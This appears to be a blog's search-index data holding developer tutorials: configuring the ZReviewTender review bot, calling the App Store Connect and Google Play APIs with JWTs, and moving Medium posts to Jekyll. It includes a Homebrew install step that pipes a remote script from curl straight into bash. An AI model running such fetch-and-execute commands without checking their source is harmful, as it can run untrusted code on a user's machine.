appStoreConnectP8PrivateKeyFilePath: Name: ZReviewTender Access: App Manager appStoreConnectP8PrivateKeyID: Key ID appStoreConnectP8PrivateKeyFilePath: /AuthKey_XXXXXXXXXX.p8, Download API Key, and place the file in the same directory as the config yml.appID:appID: App Store Connect -> App Store -> General -> App Information -> Apple IDGCP Service AccountThe Google API services used by ZReviewTender (fetching store reviews, Google Translate, Google Sheet) all use Service Account authentication.You can follow the official steps to create GCP & Service Account to download and save the GCP Service Account credentials (*.json). To use the auto-translate feature, make sure GCP has enabled Cloud Translation API and the Service Account is added. To use the record to Google Sheet feature, make sure GCP has enabled Google Sheets API, Google Drive API, and the Service Account is added.Google Play Console (Android App)Refer to the android.example.yml file: ⚠️ After downloading android.example.yml, remember to rename the file to android.ymlandroid.yml:platform: 'android'packageName: '' # Android App Package NamekeyFilePath: '' # Google Android Publisher API Credential .json File PathplayConsoleDeveloperAccountID: '' # Google Console Developer Account IDplayConsoleAppID: '' # Google Console App ID......packageName:packageName: com.XXXXX can be obtained from Google Play Console -> Dashboard -> AppplayConsoleDeveloperAccountID & playConsoleAppID:Can be obtained from the URL on the Google Play Console -> Dashboard -> App page:https://play.google.com/console/developers/ playConsoleDeveloperAccountID /app/ playConsoleAppID /app-dashboardThis will be used to generate a review message link, allowing the team to quickly access the backend review reply page by clicking the link.keyFilePath:The most important information, GCP Service Account credential key (*.json)Follow the steps in the official documentation to create a Google Cloud Project & Service Account, then go to Google Play Console -> Setup -> API Access to enable the Google Play Android Developer API and link the project. Download the JSON key from GCP.Example content of the JSON key:gcp_key.json:{ \"type\": \"service_account\", \"project_id\": \"XXXX\", \"private_key_id\": \"XXXX\", \"private_key\": \"-----BEGIN PRIVATE KEY-----\\nXXXX\\n-----END PRIVATE KEY-----\\n\", \"client_email\": \"XXXX@XXXX.iam.gserviceaccount.com\", \"client_id\": \"XXXX\", \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\", \"token_uri\": \"https://oauth2.googleapis.com/token\", \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\", \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/XXXX.iam.gserviceaccount.com\"} keyFilePath: /gcp_key.json Key file path, place the file in the same directory as the config yml.Processorsprocessors: - FilterProcessor: class: \"FilterProcessor\" enable: true # enable keywordsInclude: [] # keywords you want to filter out ratingsInclude: [] # ratings you want to filter out territoriesInclude: [] # territories you want to filter out - GoogleTranslateProcessor: # Google Translate Processor, will translate review text to your language, you can remove whole block if you don't needed it. class: \"GoogleTranslateProcessor\" enable: false # enable googleTranslateAPIKeyFilePath: '' # Google Translate API Credential .json File Path googleTranslateTargetLang: 'zh-TW' # Translate to what Language googleTranslateTerritoriesExclude: [\"TWN\",\"CHN\"] # Review origin Territory (language) that you don't want to translate. - SlackProcessor: # Slack Processor, resend App Review to Slack. class: \"SlackProcessor\" enable: true # enable slackTimeZoneOffset: \"+08:00\" # Review Created Date TimeZone slackAttachmentGroupByNumber: \"1\" # 1~100, how many review message in 1 slack message. slackBotToken: \"\" # Slack Bot Token, send slack message throught Slack Bot. slackBotTargetChannel: \"\" # Slack Bot Token, send slack message throught Slack Bot. (recommended, first priority) slackInCommingWebHookURL: \"\" # Slack In-Comming WebHook URL, Send slack message throught In-Comming WebHook, not recommended, deprecated. ...More Processors...ZReviewTender comes with four processors, and the order affects the data processing flow: FilterProcessor -> GoogleTranslateProcessor -> SlackProcessor -> GoogleSheetProcessor.FilterProcessor:Filters the fetched reviews based on specified conditions, only processing reviews that meet the criteria. class: FilterProcessor No need to adjust, points to lib/Processors/ FilterProcessor .rb enable: true / false Enable this processor or not keywordsInclude: [“ keyword1 ”,“ keyword2 ”…] Filters reviews that contain these keywords ratingsInclude: [ 1 , 2 …] 1~5 Filters reviews that include these ratings territoriesInclude: [“ zh-hant ”,” TWN ”…] Filters reviews that include these regions (Apple) or languages (Android)GoogleTranslateProcessor:Translate the reviews into the specified language. class: GoogleTranslateProcessor No adjustment needed, points to lib/Processors/ GoogleTranslateProcessor .rb enable: true / false Enable this Processor or Not googleTranslateAPIKeyFilePath: /gcp_key.json GCP Service Account credential key File Path *.json, place the file in the same directory as the config yml, refer to the Google Play Console JSON key example above.(Please ensure that the service account of the JSON key has Cloud Translation API permissions) googleTranslateTargetLang: zh-TW, en …target translation language googleTranslateTerritoriesExclude: [“ zh-hant ”,” TWN ”…] Territories (Apple) or languages (Android) that do not need translationSlackProcessor:Forward reviews to Slack. class: SlackProcessor No adjustment needed, points to lib/Processors/ SlackProcessor .rb enable: true / false Enable this Processor or Not slackTimeZoneOffset: +08:00 Review time display time zone slackAttachmentGroupByNumber: 1 Set how many Reviews to combine into one message to speed up sending; default is 1 Review per 1 Slack message. slackBotToken: xoxb-xxxx-xxxx-xxxx Slack Bot Token, Slack recommends creating a Slack Bot with postMessages Scope and using it to send Slack messages slackBotTargetChannel: CXXXXXX Group ID ( not the group name ), the Slack Bot will send to which Channel group; and you need to add your Slack Bot to that group slackInCommingWebHookURL: https://hooks.slack.com/services/XXXXX Use the old InComming WebHookURL to send messages to Slack, note! Slack does not recommend continuing to use this method to send messages. Please note, this is a legacy custom integration — an outdated way for teams to integrate with Slack. These integrations lack newer features and they will be deprecated and possibly removed in the future. We do not recommend their use. Instead, we suggest that you check out their replacement: Slack apps. slackBotToken and slackInCommingWebHookURL, SlackProcessor will preferentially choose to use slackBotTokenGoogleSheetProcessorRecord reviews to Google Sheet. class: GoogleSheetProcessor No adjustment needed, points to lib/Processors/ SlackProcessor .rb enable: true / false Enable this Processor or Not googleSheetAPIKeyFilePath: /gcp_key.json GCP Service Account credential key File Path *.json, place the file in the same directory as the config yml, refer to the Google Play Console JSON key example above.(Please ensure that the service account of the JSON key has Google Sheets API, Google Drive API permissions) googleSheetTimeZoneOffset: +08:00 Review time display time zone googleSheetID: Google Sheet IDCan be obtained from the Google Sheet URL: https://docs.google.com/spreadsheets/d/ googleSheetID / googleSheetName: Sheet name, e.g. Sheet1 keywordsInclude: [“ keyword1 ”,“ keyword2 ”…] Filter reviews that contain these keywords ratingsInclude: [ 1, 2 …] 1~5 Filter reviews that contain these rating scores territoriesInclude: [“ zh-hant ”,” TWN ”…] Filter reviews that contain these territories (Apple) or languages (Android) values: [ ] Combination of review information fields%TITLE% Review Title%BODY% Review Content%RATING% Review Rating 1~5%PLATFORM% Review Source Platform Apple or Android%ID% Review ID%USERNAME% Review Username%URL% Review URL%TERRITORY% Review Territory (Apple) or Review Language (Android)%APPVERSION% Reviewed App Version%CREATEDDATE% Review Creation DateFor example, my Google Sheet columns are as follows:Review Rating,Review Title,Review Content,Review InformationThen values can be set as:values: [\"%TITLE%\",\"%BODY%\",\"%RATING%\",\"%PLATFORM% - %APPVERSION%\"]Custom Processor to Integrate Your WorkflowIf you need a custom Processor, please use manual deployment, as the gem version of ZReviewTender is packaged and cannot be dynamically adjusted.You can refer to lib/Processors/ProcessorTemplate.rb to create your extension:$lib = File.expand_path('../lib', File.dirname(__FILE__))require \"Models/Review\"require \"Models/Processor\"require \"Helper\"require \"ZLogger\"# Add to config.yml:## processors:# - ProcessorTemplate:# class: \"ProcessorTemplate\"# parameter1: \"value\"# parameter2: \"value\"# parameter3: \"value\"# ...#class ProcessorTemplate < Processor def initialize(config, configFilePath, baseExecutePath) # init Processor # get parameter from config e.g. config[\"parameter1\"] # configFilePath: file path of config file (apple.yml/android.yml) # baseExecutePath: user execute path end def processReviews(reviews, platform) if reviews.length < 1 return reviews end ## do what you want to do with reviews... ## return result reviews return reviews endendinitialize will provide: config Object: Corresponding settings in the config yml configFilePath: Path of the used config yml file baseExecutePath: Path where the user executes ZReviewTenderprocessReviews(reviews, platform):After fetching new reviews, this function will be called to allow the Processor to handle them. Please return the resulting Reviews after processing.Review data structure is defined in lib/Models/ Review.rbNotesXXXterritorXXX parameter: Apple Region: TWM/JPN… Android Language: zh-hant/en/…If a Processor is not needed: You can set enable: false or directly remove the Processor Config Block.**Processors execution order can be adjusted according to your needs:**e.g. Execute Filter first, then Translation, then Slack, then Log to Google Sheet...### Execution> ⚠️ Use Gem to directly run `ZReviewTender`, if it's a manual deployment project, please use `bundle exec ruby bin/ZReviewTender` to execute.#### Generate configuration files:```cssZReviewTender -iGenerate apple.yml & android.yml from apple.example.yml & android.example.yml to the config/ directory in the current execution directory.Execute Apple & Android review scraping:ZReviewTender -r By default, read the apple.yml & android.yml settings under /config/Execute Apple & Android review scraping & specify configuration file directory:ZReviewTender --run=configuration file directory By default, read the apple.yml & android.yml settings under /config/Execute only Apple review scraping:ZReviewTender -a By default, read the apple.yml settings under /config/Execute only Apple review scraping & specify configuration file location:ZReviewTender --apple=apple.yml configuration file locationExecute only Android review scraping:ZReviewTender -g By default, read the android.yml settings under /config/Execute only Android review scraping & specify configuration file location:ZReviewTender --googleAndroid=android.yml configuration file locationClear execution records and return to initial settingsZReviewTender -dThis will delete the Timestamp record file in /latestCheckTimestamp, returning to the initial state. Re-executing the scraping will receive the init success message again:Current ZReviewTender versionZReviewTender -vDisplays the latest version number of ZReviewTender on RubyGem.Update ZReviewTender to the latest version (rubygem only)ZReviewTender -nFirst executionThe first successful execution will send an initialization success message to the specified Slack Channel and generate latestCheckTimestamp/Apple and latestCheckTimestamp/Android files in the corresponding execution directory to record the last scraped review Timestamp.Additionally, an execute.log will be generated to record execution errors.Set up a schedule for continuous executionSet up a schedule (using crontab) to continuously scrape new reviews. ZReviewTender will scrape new reviews from the last scraped review Timestamp recorded in latestCheckTimestamp to the current scraping time and update the Timestamp record file.e.g. crontab: 15 */6 * * * ZReviewTender -rAdditionally, note that since the Android API only provides reviews added or edited in the last 7 days, the schedule cycle should not exceed 7 days to avoid missing reviews.https://developers.google.com/android-publisher/reply-to-reviews#retrieving_a_set_of_reviewsGithub Action DeploymentZReviewTender App Reviews Automatic Botname: ZReviewTenderon: workflow_dispatch: schedule: - cron: \"15 */6 * * *\" # Runs every six hours, you can refer to the above crontab to change the settingsjobs: ZReviewTender: runs-on: ubuntu-latest steps: - name: ZReviewTender Automatic Bot uses: ZhgChgLi/ZReviewTender@main with: command: '-r' # Executes Apple & iOS App review check, you can refer to the above to change to other execution commands⚠️️️️️ Warning Again!Be sure to ensure that your configuration files and keys cannot be publicly accessed, as the sensitive information within them could lead to App/Slack permissions being stolen; the author is not responsible for any misuse.If any unexpected errors occur, please create an Issue with the log information, and it will be fixed as soon as possible!DoneThe tutorial ends here, next is the behind-the-scenes development story.=========================The War with App ReviewsI thought last year’s summary of AppStore APP’s Reviews Slack Bot and the related technology implementation of ZReviewsBot — Slack App Review Notification Bot would conclude the integration of the latest App reviews into the company’s workflow; unexpectedly, Apple updated the App Store Connect API this year, allowing this matter to continue evolving.Last year’s solution for fetching Apple iOS/macOS App reviews: Public URL API (RSS) ⚠️: Cannot flexibly filter, provides limited information, has a quantity limit, and we occasionally encounter data disorder issues, very unstable; might be deprecated by the official in the future Using Fastlane — SpaceShip to encapsulate complex web operations and session management, fetching review data from the App Store Connection backend (equivalent to running a web simulator crawler to fetch data from the backend).Following last year’s method, only the second method can be used, but the effect is not perfect; the session will expire, requiring manual periodic updates, and cannot be placed on the CI/CD server because the session will expire immediately if the IP changes.important-note-about-session-duration by FastlaneAfter receiving the news that Apple updated the App Store Connect API this year, I immediately started redesigning the new review bot. In addition to using the official API, I also optimized the previous architecture design and became more familiar with Ruby usage.Issues encountered during the development of App Store Connect API The List All Customer Reviews for an App endpoint does not provide App version information.It’s very strange, so I had to workaround by first hitting this endpoint to filter out the latest reviews, then hitting List All App Store Versions for an App & List All Customer Reviews for an App Store Version to combine the App version information.Issues encountered during the development of AndroidpublisherV3 The API does not provide a method to get all reviews, only reviews added/edited in the last 7 days. Also uses JWT to connect to Google API (without relying on related libraries e.g. google-apis-androidpublisher_v3) Here is an example of generating & using Google API JWT:require \"jwt\"require \"time\"payload = { iss: \"client_email field in the GCP API service account key (*.json) file\", sub: \"client_email field in the GCP API service account key (*.json) file\", scope: [\"https://www.googleapis.com/auth/androidpublisher\"].join(' '), aud: \"token_uri field in the GCP API service account key (*.json) file\", iat: Time.now.to_i, exp: Time.now.to_i + 60*20}rsa_private = OpenSSL::PKey::RSA.new(\"private_key field in the GCP API service account key (*.json) file\")token = JWT.encode payload, rsa_private, 'RS256', header_fields = {kid:\"private_key_id field in the GCP API service account key (*.json) file\", typ:\"JWT\"}uri = URI(\"token_uri field in the GCP API service account key (*.json) file\")https = Net::HTTP.new(uri.host, uri.port)https.use_ssl = truerequest = Net::HTTP::Post.new(uri)request.body = \"grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=#{token}\"response = https.request(request).read_bodybearer = result[\"access_token\"]### use bearer tokenuri = URI(\"https://androidpublisher.googleapis.com/androidpublisher/v3/applications/APP_PACKAGE_NAME/reviews\")https = Net::HTTP.new(uri.host, uri.port)https.use_ssl = true request = Net::HTTP::Get.new(uri)request['Authorization'] = \"Bearer #{bearer}\"; response = https.request(request).read_body result = JSON.parse(response)# success!If you have any questions or suggestions, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "App Store Connect API Now Supports Reading and Managing Customer Reviews", "url": "/posts/f1365e51902c/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, app-store-connect, api, app-review, integration", "date": "2022-07-20 22:50:44 +0800", "snippet": "App Store Connect API Now Supports Reading and Managing Customer ReviewsApp Store Connect API 2.0+ comprehensive update, supports In-app purchases, Subscriptions, Customer Reviews management2022/07...", "content": "App Store Connect API Now Supports Reading and Managing Customer ReviewsApp Store Connect API 2.0+ comprehensive update, supports In-app purchases, Subscriptions, Customer Reviews management2022/07/19 NewsUpcoming transition from the XML feed to the App Store Connect APIThis morning, I received the latest news from Apple developers, announcing that the App Store Connect API now supports three new features: In-app purchases, Subscriptions, and Customer Reviews management. This allows developers to more flexibly integrate Apple’s development process with CI/CD or business backends more closely and efficiently!I haven’t touched In-app purchases or Subscriptions, but Customer Reviews excites me. I previously published an article titled “AppStore APP’s Reviews Slack Bot” discussing ways to integrate App reviews with workflow.Slack Review Bot — ZReviewsBotBefore the App Store Connect API supported this, there were only two ways to get iOS App reviews:First was to subscribe to Public RSS, but this RSS feed couldn’t be flexibly filtered, provided limited information, had a quantity limit, and we occasionally encountered data corruption issues, making it very unstable.Second was through Fastlane — SpaceShip, which encapsulated complex web operations and session management to fetch review data from the App Store Connection backend (essentially running a web simulator crawler to fetch data from the backend). The advantage was that the data was complete and stable; we integrated it for a year without any data issues. The downside was that the session expired every month, requiring manual re-login, and since Apple ID now requires 2FA verification, this also had to be done manually to produce a valid session. Additionally, if the session was generated and used from different IPs, it would expire immediately (making it difficult to host the bot on a network service with a non-fixed IP).important-note-about-session-duration by Fastlane Expire irregularly every month, need to update from time to time, it becomes really annoying over time; and this “ Know How “ is actually difficult to hand over to other colleagues. But because there is no other way, we can only do this until we received the news this morning… ⚠️ Note: The official plan is to cancel the original XML (RSS) access method in 2022/11.2022/08/10 UpdateI have developed a new “ ZReviewTender — Free and Open Source App Reviews Monitoring Bot “ based on the new App Store Connect API.App Store Connect API 2.0+ Customer Reviews TrialCreate App Store Connect API KeyFirst, we need to log in to the App Store Connect backend, go to “Users and Access” -> “Keys” -> “ App Store Connect API “:Click “+”, enter the name and permissions; for detailed permissions, refer to the official website instructions. To reduce testing issues, select “App Manager” to grant maximum permissions.Click “Download API Key” on the right to download and save your “AuthKey_XXX.p8” Key. ⚠️ Note: This Key can only be downloaded once, please keep it safe. If lost, you can only Revoke the existing one & create a new one. ⚠️ ⚠️ Do not leak the .p8 Key File ⚠️App Store Connect API Access Methodcurl -v -H 'Authorization: Bearer [signed token]' \"https://api.appstoreconnect.apple.com/v1/apps\"Signed Token (JWT, JSON Web Token) Generation MethodRefer to official documentation. JWT Header:{kid:\"YOUR_KEY_ID\", typ:\"JWT\", alg:\"ES256\"}YOUR_KEY_ID: Refer to the image above. JWT Payload:{ iss: 'YOUR_ISSUE_ID', iat: TOKEN creation time (UNIX TIMESTAMP e.g 1658326020), exp: TOKEN expiration time (UNIX TIMESTAMP e.g 1658327220), aud: 'appstoreconnect-v1'}YOUR_ISSUE_ID: Refer to the image above.exp TOKEN expiration time: It varies depending on different access functions or settings, some can be permanent, some expire after more than 20 minutes and need to be regenerated. For details, refer to official instructions.Use JWT.IO or the Ruby example provided below to generate JWTjwt.rb:require 'jwt'require 'time'keyFile = File.read('./AuthKey_XXXX.p8') # YOUR .p8 private key file pathprivateKey = OpenSSL::PKey::EC.new(keyFile)payload = { iss: 'YOUR_ISSUE_ID', iat: Time.now.to_i, exp: Time.now.to_i + 60*20, aud: 'appstoreconnect-v1' }token = JWT.encode payload, privateKey, 'ES256', header_fields={kid:\"YOUR_KEY_ID\", typ:\"JWT\"}puts tokendecoded_token = JWT.decode token, privateKey, true, { algorithm: 'ES256' }puts decoded_token Ruby JWT tool here: https://github.com/jwt/ruby-jwtThe final JWT result will look something like this:4oxjoi8j69rHQ58KqPtrFABBWHX2QH7iGFyjkc5q6AJZrKA3AcZcCFoFMTMHpM.pojTEWQufMTvfZUW1nKz66p3emsy2v5QseJX5UJmfRjpxfjgELUGJraEVtX7tVg6aicmJT96q0snP034MhfgoZAB46MGdtC6kv2Vj6VeL2geuXG87Ys6ADijhT7mfHUcbmLPJPNZNuMttcc.fuFAJZNijRHnCA2BRqq7RZEJBB7TLsm1n4WM1cW0yo67KZp-Bnwx9y45cmH82QPAgKcG-y1UhRUrxybi5b9iNNTry it out?With the token, we can try out the App Store Connect API!curl -H 'Authorization: Bearer JWT' \"https://api.appstoreconnect.apple.com/v1/apps/APPID/customerReviews\" APPID can be obtained from the App Store Connect backend:Or from the App Store page: https://apps.apple.com/tw/app/pinkoi/id557252416 APPID = 557252416 Success! 🚀 We can now use this method to fetch App reviews. The data is complete and can be fully automated without manual routine maintenance (JWT will expire, but the Private Key will not. We can generate a JWT for each request using the Private Key). For other filtering parameters and operation methods, please refer to the official documentation. ⚠️ You can only access the App review data for which you have permission ⚠️Complete Ruby Test ProjectA Ruby file that performs the above process. You can clone it, fill in the details, and test it directly.First time opening:bundle installGetting Started:bundle exec ruby jwt.rbNextSimilarly, we can access management through the API ( API Overview ): [New] Customer reviews [New] Subscriptions [New] In-App Purchases [New] Xcode Cloud Workflows And Builds [Updated] Improving your App’s Performance TestFlight Users And Roles App Clips App Management App Metadata Pricing And Availability Provisioning Sales and TrendsIf you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Painless Migration from Medium to Self-Hosted Website", "url": "/posts/a0c08d579ab1/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, jekyll, github-actions, medium, self-hosted", "date": "2022-07-17 00:00:47 +0800", "snippet": "Painless Migration from Medium to Self-Hosted WebsiteMigrating Medium content to Github Pages (with Jekyll/Chirpy)zhgchg.liBackgroundIn the fourth year of running Medium, I have accumulated over 65...", "content": "Painless Migration from Medium to Self-Hosted WebsiteMigrating Medium content to Github Pages (with Jekyll/Chirpy)zhgchg.liBackgroundIn the fourth year of running Medium, I have accumulated over 65 articles, nearly 1000+ hours of effort; the reason I chose Medium initially was its simplicity and convenience, allowing me to focus on writing without worrying about other things. Before that, I had tried self-hosting Wordpress, but I spent all my time on setting up the environment, styles, and plugins, never feeling satisfied with the adjustments. After setting it up, I found it loaded too slowly, the reading experience was poor, and the backend writing interface was not user-friendly, so I stopped updating it.As I wrote more articles on Medium and accumulated some traffic and followers, I started wanting to control these achievements myself, rather than being controlled by a third-party platform (e.g Medium shutting down and losing all my work). So, I began looking for a second backup website two years ago. I continued to run Medium but also synchronized the content to a website I could control. The solution I found at the time was — Google Site, but honestly, it could only be used as a personal “portal site.” The article writing interface was limited in functionality, and I couldn’t really transfer all my work there.In the end, I returned to self-hosting, but this time using a static website instead of a dynamic one (e.g. Wordpress). Static websites support fewer features, but all I needed was a writing function and a clean, smooth, customizable browsing experience, nothing else!The workflow for a static website is: write the article locally in Markdown format, then convert it to a static webpage using a static site engine and upload it to the server, and it’s done. Static webpages provide a fast browsing experience!Writing in Markdown format allows the article to be compatible with more platforms. If you’re not used to it, you can find online or offline Markdown writing tools, and the experience is just like writing directly on Medium!In summary, this solution meets my needs for a smooth browsing experience and a convenient writing interface.Resultszhgchg.li Supports customizable display styles Supports customizable page adjustments (e.g. inserting ads, js widgets) Supports custom pages Supports custom domains Static pages load quickly, providing a good browsing experience Uses Git version control, preserving all historical versions of articles Fully automated scheduled synchronization of Medium articles to the websiteEnvironment and Tools Environment Language: Ruby Dependency Management Tool: RubyGems.org, Bundler Static Site Engine: Jekyll (Based on Ruby) Article Format: Markdown Server: Github Page (Free, unlimited traffic/capacity static site server) CI/CD: Github Action (Free 2,000 mins+/month) Medium to Markdown Conversion Tool: ZMediumToMarkdown (Based on Ruby) Version Control: Git (Optional) Git GUI: Git Fork (Optional) Domain Service: NamecheapInstall RubyHere, I will use my environment as an example. For other operating system versions, please Google how to install Ruby. macOS Monterey 12.1 rbenv ruby 2.6.5Install Brew/bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"Enter the above command in Terminal to install Brew.Install rbenvbrew install rbenv ruby-buildAlthough MacOS comes with Ruby, it is recommended to use rbenv to install another Ruby to separate it from the system’s built-in version. Enter the above command in Terminal to install rbenv.rbenv initEnter the above command in Terminal to initialize rbenv. Close & reopen Terminal.Enter rbenv in Terminal to check if the installation was successful!Success!Use rbenv to install Rubyrbenv install 2.6.5Enter the above command in Terminal to install Ruby version 2.6.5.rbenv global 2.6.5Enter the above command in Terminal to switch the Ruby version used by Terminal from the system’s built-in version to the rbenv version.Enter rbenv versions in Terminal to check the current settings:Enter ruby -v in Terminal to check the current Ruby version, and gem -v to check the current RubyGems status: *After installing Ruby, RubyGems should also be installed.Success!Install Jekyll & Bundler & ZMediumToMarkdowngem install jekyll bundler ZMediumToMarkdownEnter the above command in Terminal to install Jekyll & Bundler & ZMediumToMarkdown.Done!Create Jekyll Blog from TemplateThe default Jekyll Blog style is very simple. We can find and apply our favorite styles from the following websites: GitHub.com #jekyll-theme repos jamstackthemes.dev jekyllthemes.org jekyllthemes.io jekyll-themes.comThe installation method generally uses gem-based themes, some repos provide a Fork method for installation, and some even offer a one-click installation method. In short, the installation method may vary for each template, so please refer to the template’s tutorial for usage. Additionally, note that since we are deploying to Github Pages, according to the official documentation, not all templates are applicable.Chirpy TemplateHere, I will use the template Chirpy as an example, which I adopted for my Blog. This template provides the simplest one-click installation method and can be used directly. Other templates rarely offer similar one-click installation. If you are not familiar with Jekyll or GitHub Pages, using this template is a better way to get started. I will update the article with other template installation methods in the future. Additionally, you can find templates on GitHub that can be directly forked (e.g., al-folio) and used directly. If not, you will need to manually install the template and research how to set up GitHub Pages deployment. I tried this briefly but was not successful. I will update the article with my findings in the future.Create Git Repo from Git Templatehttps://github.com/cotes2020/chirpy-starter/generate Repository name: GithubUsername/OrganizationName.github.io (Make sure to use this format) Make sure to select “Public” for the RepoClick “Create repository from template”Complete the Repo creation.Git Clone Projectgit clone git@github.com:zhgchgli0718/zhgchgli0718.github.io.gitGit clone the newly created Repo.Run bundle to install dependencies:Run bundle lock — add-platform x86_64-linux to lock the versionModify Website SettingsOpen the _config.yml configuration file to set up:# The Site Configuration# Import the themetheme: jekyll-theme-chirpy# Change the following value to '/PROJECT_NAME' ONLY IF your site type is GitHub Pages Project sites# and doesn't have a custom domain.# baseurl: ''# The language of the webpage › http://www.lingoes.net/en/translator/langcode.htm# If it has the same name as one of the files in folder `_data/locales`, the layout language will also be changed,# otherwise, the layout language will use the default value of 'en'.lang: en# Additional parameters for datetime localization, optional. › https://github.com/iamkun/dayjs/tree/dev/src/localeprefer_datetime_locale:# Change to your timezone › http://www.timezoneconverter.com/cgi-bin/findzone/findzonetimezone:# jekyll-seo-tag settings › https://github.com/jekyll/jekyll-seo-tag/blob/master/docs/usage.md# ↓ --------------------------title: ZhgChgLi # the main titletagline: Live a life you will remember. # it will display as the sub-titledescription: >- # used by seo meta and the atom feed ZhgChgLi iOS Developer eager to learn, teaching and learning from each other, loves movies/TV shows/music/sports/life# fill in the protocol & hostname for your site, e.g., 'https://username.github.io'url: 'https://zhgchg.li'github: username: ZhgChgLi # change to your github usernametwitter: username: zhgchgli # change to your twitter usernamesocial: # Change to your full name. # It will be displayed as the default author of the posts and the copyright owner in the Footer name: ZhgChgLi email: zhgchgli@gmail.com # change to your email address links: - https://medium.com/@zhgchgli - https://github.com/ZhgChgLi - https://www.linkedin.com/in/zhgchgligoogle_site_verification: # fill in to your verification string# ↑ --------------------------# The end of `jekyll-seo-tag` settingsgoogle_analytics: id: G-6WZJENT8WR # fill in your Google Analytics ID # Google Analytics pageviews report settings pv: proxy_endpoint: # fill in the Google Analytics superProxy endpoint of Google App Engine cache_path: # the local PV cache data, friendly to visitors from GFW region# Prefer color scheme setting.## Note: Keep empty will follow the system prefer color by default,# and there will be a toggle to switch the theme between dark and light# on the bottom left of the sidebar.## Available options:## light - Use the light color scheme# dark - Use the dark color scheme#theme_mode: # [light|dark]# The CDN endpoint for images.# Notice that once it is assigned, the CDN url# will be added to all image (site avatar & posts' images) paths starting with '/'## e.g. 'https://cdn.com'img_cdn:# the avatar on sidebar, support local or CORS resourcesavatar: '/assets/images/zhgchgli.jpg'# boolean type, the global switch for ToC in posts.toc: truecomments: active: disqus # The global switch for posts comments, e.g., 'disqus'. Keep it empty means disable # The active options are as follows: disqus: shortname: zhgchgli # fill with the Disqus shortname. › https://help.disqus.com/en/articles/1717111-what-s-a-shortname # utterances settings › https://utteranc.es/ utterances: repo: # <gh-username>/<repo> issue_term: # < url | pathname | title | ...> # Giscus options › https://giscus.app giscus: repo: # <gh-username>/<repo> repo_id: category: category_id: mapping: # optional, default to 'pathname' input_position: # optional, default to 'bottom' lang: # optional, default to the value of `site.lang`# Self-hosted static assets, optional › https://github.com/cotes2020/chirpy-static-assetsassets: self_host: enabled: # boolean, keep empty means false # specify the Jekyll environment, empty means both # only works if `assets.self_host.enabled` is 'true' env: # [development|production]paginate: 10# ------------ The following options are not recommended to be modified ------------------kramdown: syntax_highlighter: rouge syntax_highlighter_opts: # Rouge Options › https://github.com/jneen/rouge#full-options css_class: highlight # default_lang: console span: line_numbers: false block: line_numbers: true start_line: 1collections: tabs: output: true sort_by: orderdefaults: - scope: path: '' # An empty string here means all files in the project type: posts values: layout: post comments: true # Enable comments in posts. toc: true # Display TOC column in posts. # DO NOT modify the following parameter unless you are confident enough # to update the code of all other post links in this project. permalink: /posts/:title/ - scope: path: _drafts values: comments: false - scope: path: '' type: tabs # see `site.collections` values: layout: page permalink: /:title/ - scope: path: assets/img/favicons values: swcache: true - scope: path: assets/js/dist values: swcache: truesass: style: compressedcompress_html: clippings: all comments: all endings: all profile: false blanklines: false ignore: envs: [development]exclude: - '*.gem' - '*.gemspec' - tools - README.md - LICENSE - gulpfile.js - node_modules - package*.jsonjekyll-archives: enabled: [categories, tags] layouts: category: category tag: tag permalinks: tag: /tags/:name/ category: /categories/:name/Please replace the settings according to the comments. ⚠️ _config.yml needs to be restarted after any adjustments to apply the changes.Preview the WebsiteAfter the dependencies are installed,you can start the local website with bundle exec jekyll s:Copy the URL http://127.0.0.1:4000/ and paste it into your browser to open it.Local preview successful!As long as this Terminal is open, the local website will be running. The Terminal will continuously update the website access logs, which is convenient for debugging.We can open a new Terminal for other subsequent operations.Jekyll Directory StructureDepending on the template, there may be different folders and configuration files. The article directory is: _posts/: Articles will be placed in this directoryArticle file naming convention: YYYY – MM – DD - article-file-name .md assets/:Website resource directory, images used on the website or images within articles should be placed hereOther directories like _includes, _layouts, _sites, _tabs… allow you to make advanced customizations.Jekyll uses Liquid as the page template engine. The page template is composed in a manner similar to inheritance:Users can freely customize pages. The engine will first check if the user has created a corresponding custom file for the page -> if not, it will check if the template has one -> if not, it will use the original Jekyll style.So we can easily customize any page by creating a file with the same name in the corresponding directory!Create/Edit Articles We can first delete all the sample article files under the _posts/ directory.Use Visual Code (free) or Typora (paid) to create Markdown files. Here we use Visual Code as an example: Article file naming convention: YYYY – MM – DD - article-file-name .md It is recommended to use English for the file name (SEO optimization), as this name will be the URL pathArticle Content Top Meta:---layout: posttitle: \"Hello\"description: ZhgChgLi's first articledate: 2022-07-16 10:03:36 +0800categories: Jekyll Lifeauthor: ZhgChgLitags: [ios]--- layout: post title: Article title (og:title) description: Article description (og:description) date: Article publication time (cannot be in the future) author: Author (meta:author) tags: Tags (can be multiple) categories: Categories (single, use space to separate subcategories Jekyll Life -> Life directory under Jekyll)Article Content:Write using Markdown format:---layout: posttitle: \"Hello\"description: ZhgChgLi's first articledate: 2022-07-16 10:03:36 +0800categories: Jekyll Lifeauthor: ZhgChgLitags: [ios]---# HiHi!Hello thereI am **ZhgChgLi**Image:![](/assets/post_images/DSC_2297.jpg)> _If you have any questions or comments, feel free to [contact me](https://www.zhgchg.li/contact) ._Results: ⚠️ Adjusting the article does not require restarting the website. The file changes will be rendered and displayed directly. If the modified content does not appear after a while, it may be due to an error in the article format causing rendering failure. You can check the Terminal for the reason.Download articles from Medium and convert them to Markdown for JekyllWith basic knowledge of Jekyll, we move forward by using the ZMediumToMarkdown tool to download existing articles from Medium and convert them to Markdown format to place in our Blog folder.cd to the blog directory and run the following command to download all articles from the specified Medium user:ZMediumToMarkdown -j your Medium accountWait for all articles to download… If you encounter any download issues or unexpected errors, feel free to contact me. This downloader was written by me (development insights), and I can help you solve the problem quickly and directly.After the download is complete, you can preview the results on the local website.Done!! We have seamlessly imported Medium articles into Jekyll!You can check if the articles are formatted correctly and if there are any missing images. If there are any 